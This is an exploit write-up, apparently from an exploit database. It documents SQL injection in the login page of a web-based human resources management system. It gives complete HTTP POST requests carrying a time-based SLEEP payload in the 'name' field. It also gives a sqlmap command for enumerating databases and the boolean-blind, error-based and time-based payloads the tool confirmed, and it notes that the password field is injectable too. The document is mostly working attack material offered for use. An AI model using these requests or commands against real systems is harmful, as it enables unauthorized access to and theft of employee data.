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Human Resources Management System - Multiple SQL injection Vulnerability
[## Request PoC
```
POST /hrm/controller/login.php HTTP/1.1
Host: 192.168.1.103
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.103/hrm/
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
name=test@testdomain.com'&password=test&submit=Sign+In
```
This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "name" parameter, the response to request was 302 status code with message of Found, but 20 seconds later, which indicates that our sleep 20 command works.
```
POST /hrm/controller/login.php HTTP/1.1
Host: 192.168.1.103
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://192.168.1.103/hrm/
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
name=test@testdomain.com'%2b(select*from(select(sleep(20)))a)%2b'&password=test&submit=Sign+In
```
## Exploit with sqlmap
Save the request from burp to file
```
┌──(root㉿caesar)-[/home/kali/Workstation/hrm]
└─# sqlmap -r sqli.txt -p 'name' --batch --dbs --level=3 --risk=2
---snip----
[15:49:36] [INFO] testing 'MySQL UNION query (89) - 81 to 100 columns'
POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 838 HTTP(s) requests:
---
Parameter: name (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: name=yObMAVRY@burpcollaborator.net' AND 3287=(SELECT (CASE WHEN (3287=3287) THEN 3287 ELSE (SELECT 8737 UNION SELECT 2671) END))-- -&password=a5P!s3v!K8&submit=Sign In
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: name=yObMAVRY@burpcollaborator.net' OR (SELECT 6958 FROM(SELECT COUNT(*),CONCAT(0x717a766b71,(SELECT (ELT(6958=6958,1))),0x716b786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VHwA&password=a5P!s3v!K8&submit=Sign In
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=yObMAVRY@burpcollaborator.net' AND (SELECT 1760 FROM (SELECT(SLEEP(5)))LTmV)-- fhJt&password=a5P!s3v!K8&submit=Sign In
---
[15:49:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.2.0, Apache 2.4.54, PHP
----snip----
```
## The "password" parameter in the POST request is also vulnerable. It can be exploited in the same way.
# 0day.today [2024-11-15] #